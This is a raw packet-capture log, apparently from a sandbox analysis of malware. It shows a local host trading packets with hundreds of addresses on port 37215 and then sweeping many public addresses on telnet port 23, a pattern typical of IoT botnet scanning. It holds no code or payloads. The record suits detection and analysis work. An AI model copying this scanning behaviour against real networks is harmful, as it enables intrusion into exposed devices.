Dec 27, 2024 05:02:51.108623981 CET	37215	14256	197.234.150.11	192.168.2.23
Dec 27, 2024 05:02:51.108633995 CET	37215	14256	41.226.97.150	192.168.2.23
Dec 27, 2024 05:02:51.108635902 CET	14256	37215	192.168.2.23	41.55.2.149
Dec 27, 2024 05:02:51.108635902 CET	14256	37215	192.168.2.23	156.75.134.111
Dec 27, 2024 05:02:51.108644009 CET	14256	37215	192.168.2.23	197.64.212.101
Dec 27, 2024 05:02:51.108644009 CET	37215	14256	41.41.26.214	192.168.2.23
Dec 27, 2024 05:02:51.108648062 CET	14256	37215	192.168.2.23	197.234.150.11
Dec 27, 2024 05:02:51.108654976 CET	37215	14256	197.38.230.203	192.168.2.23
Dec 27, 2024 05:02:51.108659029 CET	14256	37215	192.168.2.23	41.226.97.150
Dec 27, 2024 05:02:51.108665943 CET	14256	37215	192.168.2.23	41.41.26.214
Dec 27, 2024 05:02:51.108674049 CET	37215	14256	156.100.241.249	192.168.2.23
Dec 27, 2024 05:02:51.108685017 CET	37215	14256	41.86.151.199	192.168.2.23
Dec 27, 2024 05:02:51.108692884 CET	14256	37215	192.168.2.23	197.38.230.203
Dec 27, 2024 05:02:51.108695030 CET	37215	14256	197.132.114.210	192.168.2.23
Dec 27, 2024 05:02:51.108705044 CET	37215	14256	41.124.63.68	192.168.2.23
Dec 27, 2024 05:02:51.108712912 CET	14256	37215	192.168.2.23	156.100.241.249
Dec 27, 2024 05:02:51.108715057 CET	37215	14256	197.130.184.41	192.168.2.23
Dec 27, 2024 05:02:51.108717918 CET	14256	37215	192.168.2.23	41.86.151.199
Dec 27, 2024 05:02:51.108726025 CET	37215	14256	156.66.144.119	192.168.2.23
Dec 27, 2024 05:02:51.108726978 CET	14256	37215	192.168.2.23	41.124.63.68
Dec 27, 2024 05:02:51.108732939 CET	14256	37215	192.168.2.23	197.132.114.210
Dec 27, 2024 05:02:51.108735085 CET	37215	14256	156.249.255.177	192.168.2.23
Dec 27, 2024 05:02:51.108745098 CET	37215	14256	197.247.31.201	192.168.2.23
Dec 27, 2024 05:02:51.108751059 CET	14256	37215	192.168.2.23	197.130.184.41
Dec 27, 2024 05:02:51.108756065 CET	37215	14256	156.144.16.30	192.168.2.23
Dec 27, 2024 05:02:51.108758926 CET	14256	37215	192.168.2.23	156.66.144.119
Dec 27, 2024 05:02:51.108764887 CET	37215	14256	41.99.217.132	192.168.2.23
Dec 27, 2024 05:02:51.108773947 CET	37215	14256	156.86.78.209	192.168.2.23
Dec 27, 2024 05:02:51.108781099 CET	14256	37215	192.168.2.23	197.247.31.201
Dec 27, 2024 05:02:51.108783960 CET	14256	37215	192.168.2.23	156.249.255.177
Dec 27, 2024 05:02:51.108788013 CET	37215	14256	41.120.150.79	192.168.2.23
Dec 27, 2024 05:02:51.108791113 CET	14256	37215	192.168.2.23	156.144.16.30
Dec 27, 2024 05:02:51.108793020 CET	14256	37215	192.168.2.23	41.99.217.132
Dec 27, 2024 05:02:51.108803034 CET	37215	14256	156.217.153.165	192.168.2.23
Dec 27, 2024 05:02:51.108804941 CET	14256	37215	192.168.2.23	156.86.78.209
Dec 27, 2024 05:02:51.108814001 CET	37215	14256	197.216.190.185	192.168.2.23
Dec 27, 2024 05:02:51.108824015 CET	37215	14256	197.102.152.87	192.168.2.23
Dec 27, 2024 05:02:51.108829021 CET	14256	37215	192.168.2.23	41.120.150.79
Dec 27, 2024 05:02:51.108833075 CET	37215	14256	156.11.233.225	192.168.2.23
Dec 27, 2024 05:02:51.108835936 CET	14256	37215	192.168.2.23	156.217.153.165
Dec 27, 2024 05:02:51.108839989 CET	14256	37215	192.168.2.23	197.216.190.185
Dec 27, 2024 05:02:51.108843088 CET	37215	14256	41.11.209.240	192.168.2.23
Dec 27, 2024 05:02:51.108854055 CET	37215	14256	156.99.65.14	192.168.2.23
Dec 27, 2024 05:02:51.108860970 CET	14256	37215	192.168.2.23	197.102.152.87
Dec 27, 2024 05:02:51.108861923 CET	37215	14256	41.54.239.38	192.168.2.23
Dec 27, 2024 05:02:51.108863115 CET	14256	37215	192.168.2.23	156.11.233.225
Dec 27, 2024 05:02:51.108874083 CET	37215	14256	41.172.75.139	192.168.2.23
Dec 27, 2024 05:02:51.108880997 CET	14256	37215	192.168.2.23	156.99.65.14
Dec 27, 2024 05:02:51.108880997 CET	14256	37215	192.168.2.23	41.11.209.240
Dec 27, 2024 05:02:51.108882904 CET	37215	14256	197.0.83.155	192.168.2.23
Dec 27, 2024 05:02:51.108894110 CET	37215	14256	41.204.197.250	192.168.2.23
Dec 27, 2024 05:02:51.108896971 CET	14256	37215	192.168.2.23	41.54.239.38
Dec 27, 2024 05:02:51.108902931 CET	14256	37215	192.168.2.23	41.172.75.139
Dec 27, 2024 05:02:51.108903885 CET	37215	14256	156.85.212.104	192.168.2.23
Dec 27, 2024 05:02:51.108913898 CET	37215	14256	197.89.207.210	192.168.2.23
Dec 27, 2024 05:02:51.108925104 CET	14256	37215	192.168.2.23	156.85.212.104
Dec 27, 2024 05:02:51.108926058 CET	14256	37215	192.168.2.23	41.204.197.250
Dec 27, 2024 05:02:51.108926058 CET	14256	37215	192.168.2.23	197.0.83.155
Dec 27, 2024 05:02:51.108932018 CET	37215	14256	41.21.68.93	192.168.2.23
Dec 27, 2024 05:02:51.108937979 CET	37215	14256	156.94.190.226	192.168.2.23
Dec 27, 2024 05:02:51.108942032 CET	37215	14256	41.121.108.78	192.168.2.23
Dec 27, 2024 05:02:51.108961105 CET	37215	14256	41.237.152.152	192.168.2.23
Dec 27, 2024 05:02:51.108963966 CET	14256	37215	192.168.2.23	197.89.207.210
Dec 27, 2024 05:02:51.108968973 CET	14256	37215	192.168.2.23	41.21.68.93
Dec 27, 2024 05:02:51.108968973 CET	14256	37215	192.168.2.23	156.94.190.226
Dec 27, 2024 05:02:51.108971119 CET	37215	14256	156.145.211.168	192.168.2.23
Dec 27, 2024 05:02:51.108972073 CET	14256	37215	192.168.2.23	41.121.108.78
Dec 27, 2024 05:02:51.108980894 CET	37215	14256	156.87.161.79	192.168.2.23
Dec 27, 2024 05:02:51.108990908 CET	37215	14256	41.245.177.108	192.168.2.23
Dec 27, 2024 05:02:51.108999014 CET	37215	14256	156.149.115.1	192.168.2.23
Dec 27, 2024 05:02:51.109004974 CET	14256	37215	192.168.2.23	41.237.152.152
Dec 27, 2024 05:02:51.109009027 CET	37215	14256	197.10.169.108	192.168.2.23
Dec 27, 2024 05:02:51.109010935 CET	14256	37215	192.168.2.23	156.145.211.168
Dec 27, 2024 05:02:51.109010935 CET	14256	37215	192.168.2.23	156.87.161.79
Dec 27, 2024 05:02:51.109023094 CET	37215	14256	197.11.181.135	192.168.2.23
Dec 27, 2024 05:02:51.109030008 CET	14256	37215	192.168.2.23	156.149.115.1
Dec 27, 2024 05:02:51.109030008 CET	14256	37215	192.168.2.23	41.245.177.108
Dec 27, 2024 05:02:51.109036922 CET	14256	37215	192.168.2.23	197.10.169.108
Dec 27, 2024 05:02:51.109045029 CET	37215	14256	156.48.103.193	192.168.2.23
Dec 27, 2024 05:02:51.109054089 CET	37215	14256	41.151.225.232	192.168.2.23
Dec 27, 2024 05:02:51.109062910 CET	14256	37215	192.168.2.23	197.11.181.135
Dec 27, 2024 05:02:51.109065056 CET	37215	14256	156.26.10.5	192.168.2.23
Dec 27, 2024 05:02:51.109076977 CET	37215	14256	41.84.172.25	192.168.2.23
Dec 27, 2024 05:02:51.109076977 CET	14256	37215	192.168.2.23	156.48.103.193
Dec 27, 2024 05:02:51.109078884 CET	14256	37215	192.168.2.23	41.151.225.232
Dec 27, 2024 05:02:51.109087944 CET	37215	14256	197.70.205.32	192.168.2.23
Dec 27, 2024 05:02:51.109097004 CET	37215	14256	156.160.145.186	192.168.2.23
Dec 27, 2024 05:02:51.109106064 CET	37215	14256	41.255.13.10	192.168.2.23
Dec 27, 2024 05:02:51.109107018 CET	14256	37215	192.168.2.23	156.26.10.5
Dec 27, 2024 05:02:51.109107018 CET	14256	37215	192.168.2.23	41.84.172.25
Dec 27, 2024 05:02:51.109114885 CET	14256	37215	192.168.2.23	197.70.205.32
Dec 27, 2024 05:02:51.109116077 CET	37215	14256	41.226.204.49	192.168.2.23
Dec 27, 2024 05:02:51.109127045 CET	37215	14256	197.17.50.242	192.168.2.23
Dec 27, 2024 05:02:51.109137058 CET	37215	14256	41.10.8.44	192.168.2.23
Dec 27, 2024 05:02:51.109143972 CET	14256	37215	192.168.2.23	41.255.13.10
Dec 27, 2024 05:02:51.109147072 CET	37215	14256	41.131.172.183	192.168.2.23
Dec 27, 2024 05:02:51.109149933 CET	14256	37215	192.168.2.23	41.226.204.49
Dec 27, 2024 05:02:51.109154940 CET	14256	37215	192.168.2.23	156.160.145.186
Dec 27, 2024 05:02:51.109163046 CET	14256	37215	192.168.2.23	197.17.50.242
Dec 27, 2024 05:02:51.109164000 CET	37215	14256	41.39.40.7	192.168.2.23
Dec 27, 2024 05:02:51.109168053 CET	14256	37215	192.168.2.23	41.10.8.44
Dec 27, 2024 05:02:51.109168053 CET	14256	37215	192.168.2.23	41.131.172.183
Dec 27, 2024 05:02:51.109174967 CET	37215	14256	197.32.218.181	192.168.2.23
Dec 27, 2024 05:02:51.109184980 CET	37215	14256	41.166.27.209	192.168.2.23
Dec 27, 2024 05:02:51.109194994 CET	37215	14256	41.83.55.191	192.168.2.23
Dec 27, 2024 05:02:51.109203100 CET	37215	14256	41.214.7.18	192.168.2.23
Dec 27, 2024 05:02:51.109205008 CET	14256	37215	192.168.2.23	41.39.40.7
Dec 27, 2024 05:02:51.109208107 CET	14256	37215	192.168.2.23	197.32.218.181
Dec 27, 2024 05:02:51.109213114 CET	37215	14256	197.243.190.9	192.168.2.23
Dec 27, 2024 05:02:51.109220982 CET	14256	37215	192.168.2.23	41.83.55.191
Dec 27, 2024 05:02:51.109225035 CET	14256	37215	192.168.2.23	41.214.7.18
Dec 27, 2024 05:02:51.109230042 CET	37215	14256	197.225.80.18	192.168.2.23
Dec 27, 2024 05:02:51.109230995 CET	14256	37215	192.168.2.23	41.166.27.209
Dec 27, 2024 05:02:51.109240055 CET	37215	14256	197.53.32.97	192.168.2.23
Dec 27, 2024 05:02:51.109249115 CET	37215	14256	197.62.102.86	192.168.2.23
Dec 27, 2024 05:02:51.109251022 CET	14256	37215	192.168.2.23	197.243.190.9
Dec 27, 2024 05:02:51.109258890 CET	37215	14256	41.174.102.214	192.168.2.23
Dec 27, 2024 05:02:51.109261990 CET	14256	37215	192.168.2.23	197.225.80.18
Dec 27, 2024 05:02:51.109268904 CET	37215	14256	156.187.142.137	192.168.2.23
Dec 27, 2024 05:02:51.109272957 CET	14256	37215	192.168.2.23	197.53.32.97
Dec 27, 2024 05:02:51.109272957 CET	14256	37215	192.168.2.23	197.62.102.86
Dec 27, 2024 05:02:51.109278917 CET	37215	14256	197.213.173.94	192.168.2.23
Dec 27, 2024 05:02:51.109283924 CET	14256	37215	192.168.2.23	41.174.102.214
Dec 27, 2024 05:02:51.109289885 CET	37215	14256	41.24.133.31	192.168.2.23
Dec 27, 2024 05:02:51.109299898 CET	37215	14256	156.250.124.99	192.168.2.23
Dec 27, 2024 05:02:51.109306097 CET	14256	37215	192.168.2.23	156.187.142.137
Dec 27, 2024 05:02:51.109308004 CET	14256	37215	192.168.2.23	197.213.173.94
Dec 27, 2024 05:02:51.109318018 CET	37215	14256	156.133.41.96	192.168.2.23
Dec 27, 2024 05:02:51.109323978 CET	14256	37215	192.168.2.23	41.24.133.31
Dec 27, 2024 05:02:51.109328985 CET	37215	14256	197.51.137.87	192.168.2.23
Dec 27, 2024 05:02:51.109338045 CET	37215	14256	156.202.226.223	192.168.2.23
Dec 27, 2024 05:02:51.109348059 CET	37215	14256	41.245.53.233	192.168.2.23
Dec 27, 2024 05:02:51.109353065 CET	14256	37215	192.168.2.23	156.250.124.99
Dec 27, 2024 05:02:51.109359026 CET	14256	37215	192.168.2.23	156.133.41.96
Dec 27, 2024 05:02:51.109359026 CET	14256	37215	192.168.2.23	197.51.137.87
Dec 27, 2024 05:02:51.109364033 CET	14256	37215	192.168.2.23	156.202.226.223
Dec 27, 2024 05:02:51.109364033 CET	14256	37215	192.168.2.23	41.245.53.233
Dec 27, 2024 05:02:51.109371901 CET	37215	14256	41.107.32.137	192.168.2.23
Dec 27, 2024 05:02:51.109380960 CET	37215	14256	197.92.42.215	192.168.2.23
Dec 27, 2024 05:02:51.109390020 CET	37215	14256	41.172.59.25	192.168.2.23
Dec 27, 2024 05:02:51.109400034 CET	14256	37215	192.168.2.23	41.107.32.137
Dec 27, 2024 05:02:51.109400034 CET	37215	14256	197.212.198.88	192.168.2.23
Dec 27, 2024 05:02:51.109409094 CET	37215	14256	41.72.63.227	192.168.2.23
Dec 27, 2024 05:02:51.109409094 CET	14256	37215	192.168.2.23	197.92.42.215
Dec 27, 2024 05:02:51.109419107 CET	37215	14256	41.4.210.40	192.168.2.23
Dec 27, 2024 05:02:51.109427929 CET	37215	14256	156.71.124.102	192.168.2.23
Dec 27, 2024 05:02:51.109431028 CET	14256	37215	192.168.2.23	197.212.198.88
Dec 27, 2024 05:02:51.109431982 CET	14256	37215	192.168.2.23	41.172.59.25
Dec 27, 2024 05:02:51.109437943 CET	37215	14256	197.65.232.33	192.168.2.23
Dec 27, 2024 05:02:51.109447956 CET	14256	37215	192.168.2.23	41.4.210.40
Dec 27, 2024 05:02:51.109447956 CET	14256	37215	192.168.2.23	41.72.63.227
Dec 27, 2024 05:02:51.109448910 CET	37215	14256	197.8.33.62	192.168.2.23
Dec 27, 2024 05:02:51.109450102 CET	14256	37215	192.168.2.23	156.71.124.102
Dec 27, 2024 05:02:51.109458923 CET	37215	14256	41.141.59.254	192.168.2.23
Dec 27, 2024 05:02:51.109463930 CET	37215	14256	197.152.29.247	192.168.2.23
Dec 27, 2024 05:02:51.109467983 CET	37215	14256	41.192.108.209	192.168.2.23
Dec 27, 2024 05:02:51.109468937 CET	14256	37215	192.168.2.23	197.65.232.33
Dec 27, 2024 05:02:51.109477997 CET	37215	14256	197.131.112.156	192.168.2.23
Dec 27, 2024 05:02:51.109488010 CET	37215	14256	41.142.214.28	192.168.2.23
Dec 27, 2024 05:02:51.109491110 CET	14256	37215	192.168.2.23	197.152.29.247
Dec 27, 2024 05:02:51.109498024 CET	14256	37215	192.168.2.23	41.192.108.209
Dec 27, 2024 05:02:51.109505892 CET	37215	14256	197.138.247.87	192.168.2.23
Dec 27, 2024 05:02:51.109513998 CET	14256	37215	192.168.2.23	197.131.112.156
Dec 27, 2024 05:02:51.109514952 CET	37215	14256	156.229.137.193	192.168.2.23
Dec 27, 2024 05:02:51.109524965 CET	37215	14256	156.214.45.7	192.168.2.23
Dec 27, 2024 05:02:51.109538078 CET	37215	14256	156.1.112.35	192.168.2.23
Dec 27, 2024 05:02:51.109544039 CET	14256	37215	192.168.2.23	197.138.247.87
Dec 27, 2024 05:02:51.109553099 CET	37215	14256	41.183.68.78	192.168.2.23
Dec 27, 2024 05:02:51.109560966 CET	14256	37215	192.168.2.23	156.214.45.7
Dec 27, 2024 05:02:51.109570026 CET	37215	14256	156.76.88.242	192.168.2.23
Dec 27, 2024 05:02:51.109580994 CET	37215	14256	41.17.205.171	192.168.2.23
Dec 27, 2024 05:02:51.109590054 CET	37215	14256	156.233.7.237	192.168.2.23
Dec 27, 2024 05:02:51.109595060 CET	37215	14256	197.98.139.49	192.168.2.23
Dec 27, 2024 05:02:51.109600067 CET	37215	14256	197.58.168.125	192.168.2.23
Dec 27, 2024 05:02:51.109610081 CET	37215	14256	197.154.177.56	192.168.2.23
Dec 27, 2024 05:02:51.109626055 CET	37215	14256	41.233.79.65	192.168.2.23
Dec 27, 2024 05:02:51.109635115 CET	37215	14256	41.29.104.125	192.168.2.23
Dec 27, 2024 05:02:51.109642029 CET	14256	37215	192.168.2.23	197.8.33.62
Dec 27, 2024 05:02:51.109646082 CET	14256	37215	192.168.2.23	41.17.205.171
Dec 27, 2024 05:02:51.109646082 CET	14256	37215	192.168.2.23	41.141.59.254
Dec 27, 2024 05:02:51.109646082 CET	14256	37215	192.168.2.23	41.142.214.28
Dec 27, 2024 05:02:51.109647989 CET	37215	14256	41.52.203.63	192.168.2.23
Dec 27, 2024 05:02:51.109652996 CET	14256	37215	192.168.2.23	197.154.177.56
Dec 27, 2024 05:02:51.109654903 CET	14256	37215	192.168.2.23	156.229.137.193
Dec 27, 2024 05:02:51.109658957 CET	37215	14256	197.90.90.43	192.168.2.23
Dec 27, 2024 05:02:51.109659910 CET	14256	37215	192.168.2.23	156.1.112.35
Dec 27, 2024 05:02:51.109659910 CET	14256	37215	192.168.2.23	197.98.139.49
Dec 27, 2024 05:02:51.109661102 CET	14256	37215	192.168.2.23	41.183.68.78
Dec 27, 2024 05:02:51.109661102 CET	14256	37215	192.168.2.23	156.76.88.242
Dec 27, 2024 05:02:51.109663963 CET	14256	37215	192.168.2.23	156.233.7.237
Dec 27, 2024 05:02:51.109667063 CET	14256	37215	192.168.2.23	41.29.104.125
Dec 27, 2024 05:02:51.109668970 CET	37215	14256	197.177.246.58	192.168.2.23
Dec 27, 2024 05:02:51.109671116 CET	14256	37215	192.168.2.23	197.58.168.125
Dec 27, 2024 05:02:51.109671116 CET	14256	37215	192.168.2.23	41.52.203.63
Dec 27, 2024 05:02:51.109678984 CET	14256	37215	192.168.2.23	41.233.79.65
Dec 27, 2024 05:02:51.109680891 CET	37215	14256	197.113.36.250	192.168.2.23
Dec 27, 2024 05:02:51.109692097 CET	37215	14256	41.54.227.2	192.168.2.23
Dec 27, 2024 05:02:51.109702110 CET	14256	37215	192.168.2.23	197.90.90.43
Dec 27, 2024 05:02:51.109702110 CET	37215	14256	156.22.146.39	192.168.2.23
Dec 27, 2024 05:02:51.109710932 CET	14256	37215	192.168.2.23	197.177.246.58
Dec 27, 2024 05:02:51.109711885 CET	37215	14256	156.127.208.59	192.168.2.23
Dec 27, 2024 05:02:51.109716892 CET	14256	37215	192.168.2.23	197.113.36.250
Dec 27, 2024 05:02:51.109723091 CET	37215	14256	156.28.252.65	192.168.2.23
Dec 27, 2024 05:02:51.109728098 CET	14256	37215	192.168.2.23	41.54.227.2
Dec 27, 2024 05:02:51.109731913 CET	14256	37215	192.168.2.23	156.22.146.39
Dec 27, 2024 05:02:51.109734058 CET	37215	14256	156.177.7.80	192.168.2.23
Dec 27, 2024 05:02:51.109745979 CET	37215	14256	41.90.98.127	192.168.2.23
Dec 27, 2024 05:02:51.109752893 CET	14256	37215	192.168.2.23	156.127.208.59
Dec 27, 2024 05:02:51.109759092 CET	14256	37215	192.168.2.23	156.28.252.65
Dec 27, 2024 05:02:51.109767914 CET	14256	37215	192.168.2.23	156.177.7.80
Dec 27, 2024 05:02:51.109767914 CET	14256	37215	192.168.2.23	41.90.98.127
Dec 27, 2024 05:02:51.201189041 CET	443	33606	54.171.230.55	192.168.2.23
Dec 27, 2024 05:02:51.201533079 CET	33606	443	192.168.2.23	54.171.230.55
Dec 27, 2024 05:02:51.321022034 CET	443	33606	54.171.230.55	192.168.2.23
Dec 27, 2024 05:02:51.623801947 CET	14219	23	192.168.2.23	186.245.96.172
Dec 27, 2024 05:02:51.623801947 CET	14219	23	192.168.2.23	104.165.55.83
Dec 27, 2024 05:02:51.623804092 CET	14219	23	192.168.2.23	183.7.147.170
Dec 27, 2024 05:02:51.623810053 CET	14219	23	192.168.2.23	124.45.32.212
Dec 27, 2024 05:02:51.623810053 CET	14219	23	192.168.2.23	153.0.166.176
Dec 27, 2024 05:02:51.623811007 CET	14219	23	192.168.2.23	54.202.131.248
Dec 27, 2024 05:02:51.623805046 CET	14219	23	192.168.2.23	51.140.179.83
Dec 27, 2024 05:02:51.623814106 CET	14219	23	192.168.2.23	120.128.19.239
Dec 27, 2024 05:02:51.623814106 CET	14219	23	192.168.2.23	103.149.209.72
Dec 27, 2024 05:02:51.623814106 CET	14219	23	192.168.2.23	118.86.35.235
Dec 27, 2024 05:02:51.623833895 CET	14219	23	192.168.2.23	217.209.0.129
Dec 27, 2024 05:02:51.623837948 CET	14219	23	192.168.2.23	77.177.38.197
Dec 27, 2024 05:02:51.623841047 CET	14219	23	192.168.2.23	34.65.143.107
Dec 27, 2024 05:02:51.623847961 CET	14219	23	192.168.2.23	82.125.89.253
Dec 27, 2024 05:02:51.623851061 CET	14219	23	192.168.2.23	105.199.16.119
Dec 27, 2024 05:02:51.623853922 CET	14219	23	192.168.2.23	159.237.123.179
Dec 27, 2024 05:02:51.623864889 CET	14219	23	192.168.2.23	211.105.229.111
Dec 27, 2024 05:02:51.623867035 CET	14219	23	192.168.2.23	52.175.122.170
Dec 27, 2024 05:02:51.623867035 CET	14219	23	192.168.2.23	31.79.138.107
Dec 27, 2024 05:02:51.623876095 CET	14219	23	192.168.2.23	105.106.60.107
Dec 27, 2024 05:02:51.623876095 CET	14219	23	192.168.2.23	58.144.3.160
Dec 27, 2024 05:02:51.623876095 CET	14219	23	192.168.2.23	18.20.243.151
Dec 27, 2024 05:02:51.623876095 CET	14219	23	192.168.2.23	180.56.194.125
Dec 27, 2024 05:02:51.623886108 CET	14219	23	192.168.2.23	129.162.138.214
Dec 27, 2024 05:02:51.623887062 CET	14219	23	192.168.2.23	152.8.86.119
Dec 27, 2024 05:02:51.623888969 CET	14219	23	192.168.2.23	209.149.10.92
Dec 27, 2024 05:02:51.623888969 CET	14219	23	192.168.2.23	66.9.190.153
Dec 27, 2024 05:02:51.623908043 CET	14219	23	192.168.2.23	47.249.193.114
Dec 27, 2024 05:02:51.623908997 CET	14219	23	192.168.2.23	185.195.93.3
Dec 27, 2024 05:02:51.623909950 CET	14219	23	192.168.2.23	197.151.253.204
Dec 27, 2024 05:02:51.623909950 CET	14219	23	192.168.2.23	168.239.121.20
Dec 27, 2024 05:02:51.623933077 CET	14219	23	192.168.2.23	140.91.22.40
Dec 27, 2024 05:02:51.623933077 CET	14219	23	192.168.2.23	74.75.59.198
Dec 27, 2024 05:02:51.623936892 CET	14219	23	192.168.2.23	89.224.30.14
Dec 27, 2024 05:02:51.623943090 CET	14219	23	192.168.2.23	112.231.25.29
Dec 27, 2024 05:02:51.623943090 CET	14219	23	192.168.2.23	112.61.67.22
Dec 27, 2024 05:02:51.623943090 CET	14219	23	192.168.2.23	31.46.183.102
Dec 27, 2024 05:02:51.623944044 CET	14219	23	192.168.2.23	166.188.135.23
Dec 27, 2024 05:02:51.623944044 CET	14219	23	192.168.2.23	137.197.183.121
Dec 27, 2024 05:02:51.623949051 CET	14219	23	192.168.2.23	98.221.103.181
Dec 27, 2024 05:02:51.623951912 CET	14219	23	192.168.2.23	92.150.223.11
Dec 27, 2024 05:02:51.623953104 CET	14219	23	192.168.2.23	173.34.50.226
Dec 27, 2024 05:02:51.623955011 CET	14219	23	192.168.2.23	78.167.80.165
Dec 27, 2024 05:02:51.623955011 CET	14219	23	192.168.2.23	203.205.203.45
Dec 27, 2024 05:02:51.623956919 CET	14219	23	192.168.2.23	212.68.53.214
Dec 27, 2024 05:02:51.623961926 CET	14219	23	192.168.2.23	149.209.241.70
Dec 27, 2024 05:02:51.623963118 CET	14219	23	192.168.2.23	52.198.197.231
Dec 27, 2024 05:02:51.623965979 CET	14219	23	192.168.2.23	133.45.118.9
Dec 27, 2024 05:02:51.623965979 CET	14219	23	192.168.2.23	138.132.143.8
Dec 27, 2024 05:02:51.623977900 CET	14219	23	192.168.2.23	126.225.96.146
Dec 27, 2024 05:02:51.623977900 CET	14219	23	192.168.2.23	183.59.87.255
Dec 27, 2024 05:02:51.623984098 CET	14219	23	192.168.2.23	87.132.190.244
Dec 27, 2024 05:02:51.623984098 CET	14219	23	192.168.2.23	58.1.61.123
Dec 27, 2024 05:02:51.623984098 CET	14219	23	192.168.2.23	73.129.139.92
Dec 27, 2024 05:02:51.623986006 CET	14219	23	192.168.2.23	40.192.209.93
Dec 27, 2024 05:02:51.623995066 CET	14219	23	192.168.2.23	139.75.8.57
Dec 27, 2024 05:02:51.624005079 CET	14219	23	192.168.2.23	132.149.227.149
Dec 27, 2024 05:02:51.624006987 CET	14219	23	192.168.2.23	88.222.231.220
Dec 27, 2024 05:02:51.624011040 CET	14219	23	192.168.2.23	92.224.26.138
Dec 27, 2024 05:02:51.624012947 CET	14219	23	192.168.2.23	135.233.66.48
Dec 27, 2024 05:02:51.624013901 CET	14219	23	192.168.2.23	175.240.23.52
Dec 27, 2024 05:02:51.624023914 CET	14219	23	192.168.2.23	117.34.6.20
Dec 27, 2024 05:02:51.624032021 CET	14219	23	192.168.2.23	118.118.157.97
Dec 27, 2024 05:02:51.624032021 CET	14219	23	192.168.2.23	147.222.20.8
Dec 27, 2024 05:02:51.624032021 CET	14219	23	192.168.2.23	155.251.54.234
Dec 27, 2024 05:02:51.624042988 CET	14219	23	192.168.2.23	99.90.117.75
Dec 27, 2024 05:02:51.624042988 CET	14219	23	192.168.2.23	40.114.187.71
Dec 27, 2024 05:02:51.624046087 CET	14219	23	192.168.2.23	198.32.92.156
Dec 27, 2024 05:02:51.624056101 CET	14219	23	192.168.2.23	206.57.154.161
Dec 27, 2024 05:02:51.624058962 CET	14219	23	192.168.2.23	109.232.66.66
Dec 27, 2024 05:02:51.624064922 CET	14219	23	192.168.2.23	19.189.30.141
Dec 27, 2024 05:02:51.624068022 CET	14219	23	192.168.2.23	180.240.164.107
Dec 27, 2024 05:02:51.624073029 CET	14219	23	192.168.2.23	93.199.254.101
Dec 27, 2024 05:02:51.624078035 CET	14219	23	192.168.2.23	196.188.8.67
Dec 27, 2024 05:02:51.624078989 CET	14219	23	192.168.2.23	175.253.205.23
Dec 27, 2024 05:02:51.624083042 CET	14219	23	192.168.2.23	191.32.61.170
Dec 27, 2024 05:02:51.624089956 CET	14219	23	192.168.2.23	210.173.3.134
Dec 27, 2024 05:02:51.624098063 CET	14219	23	192.168.2.23	160.68.175.145
Dec 27, 2024 05:02:51.624100924 CET	14219	23	192.168.2.23	60.124.248.65
Dec 27, 2024 05:02:51.624103069 CET	14219	23	192.168.2.23	45.104.163.141
Dec 27, 2024 05:02:51.624119997 CET	14219	23	192.168.2.23	183.69.151.61
Dec 27, 2024 05:02:51.624120951 CET	14219	23	192.168.2.23	192.238.242.216
Dec 27, 2024 05:02:51.624120951 CET	14219	23	192.168.2.23	197.226.243.52
Dec 27, 2024 05:02:51.624120951 CET	14219	23	192.168.2.23	54.102.165.134
Dec 27, 2024 05:02:51.624121904 CET	14219	23	192.168.2.23	170.168.109.77
Dec 27, 2024 05:02:51.624125957 CET	14219	23	192.168.2.23	134.145.208.42
Dec 27, 2024 05:02:51.624126911 CET	14219	23	192.168.2.23	57.115.152.89
Dec 27, 2024 05:02:51.624141932 CET	14219	23	192.168.2.23	160.188.101.232
Dec 27, 2024 05:02:51.624144077 CET	14219	23	192.168.2.23	31.251.94.209
Dec 27, 2024 05:02:51.624149084 CET	14219	23	192.168.2.23	201.70.158.199
Dec 27, 2024 05:02:51.624159098 CET	14219	23	192.168.2.23	102.53.218.240
Dec 27, 2024 05:02:51.624157906 CET	14219	23	192.168.2.23	48.35.98.183
Dec 27, 2024 05:02:51.624164104 CET	14219	23	192.168.2.23	162.37.128.21
Dec 27, 2024 05:02:51.624166965 CET	14219	23	192.168.2.23	176.194.99.118
Dec 27, 2024 05:02:51.624167919 CET	14219	23	192.168.2.23	138.186.146.103
Dec 27, 2024 05:02:51.624169111 CET	14219	23	192.168.2.23	200.246.28.76
Dec 27, 2024 05:02:51.624171972 CET	14219	23	192.168.2.23	81.170.193.191
Dec 27, 2024 05:02:51.624183893 CET	14219	23	192.168.2.23	157.21.68.232
Dec 27, 2024 05:02:51.624183893 CET	14219	23	192.168.2.23	166.30.55.45
Dec 27, 2024 05:02:51.624185085 CET	14219	23	192.168.2.23	130.158.79.44
Dec 27, 2024 05:02:51.624202967 CET	14219	23	192.168.2.23	95.61.243.23
Dec 27, 2024 05:02:51.624202967 CET	14219	23	192.168.2.23	145.27.36.59
Dec 27, 2024 05:02:51.624202967 CET	14219	23	192.168.2.23	204.221.229.2
Dec 27, 2024 05:02:51.624202967 CET	14219	23	192.168.2.23	182.212.177.152
Dec 27, 2024 05:02:51.624212027 CET	14219	23	192.168.2.23	192.200.222.4
Dec 27, 2024 05:02:51.624212980 CET	14219	23	192.168.2.23	40.180.19.50
Dec 27, 2024 05:02:51.624213934 CET	14219	23	192.168.2.23	75.111.122.159
Dec 27, 2024 05:02:51.624222994 CET	14219	23	192.168.2.23	102.181.6.60
Dec 27, 2024 05:02:51.624222994 CET	14219	23	192.168.2.23	126.188.88.141
Dec 27, 2024 05:02:51.624224901 CET	14219	23	192.168.2.23	105.149.248.134
Dec 27, 2024 05:02:51.624224901 CET	14219	23	192.168.2.23	92.89.177.235
Dec 27, 2024 05:02:51.624238968 CET	14219	23	192.168.2.23	23.169.253.13
Dec 27, 2024 05:02:51.624244928 CET	14219	23	192.168.2.23	2.206.13.218
Dec 27, 2024 05:02:51.624245882 CET	14219	23	192.168.2.23	54.96.232.103
Dec 27, 2024 05:02:51.624252081 CET	14219	23	192.168.2.23	32.197.62.76
Dec 27, 2024 05:02:51.624252081 CET	14219	23	192.168.2.23	53.138.93.42
Dec 27, 2024 05:02:51.624252081 CET	14219	23	192.168.2.23	172.157.212.37
Dec 27, 2024 05:02:51.624253035 CET	14219	23	192.168.2.23	134.60.254.100
Dec 27, 2024 05:02:51.624254942 CET	14219	23	192.168.2.23	140.162.219.109
Dec 27, 2024 05:02:51.624255896 CET	14219	23	192.168.2.23	212.214.210.214
Dec 27, 2024 05:02:51.624255896 CET	14219	23	192.168.2.23	164.134.140.166
Dec 27, 2024 05:02:51.624258995 CET	14219	23	192.168.2.23	104.36.131.220
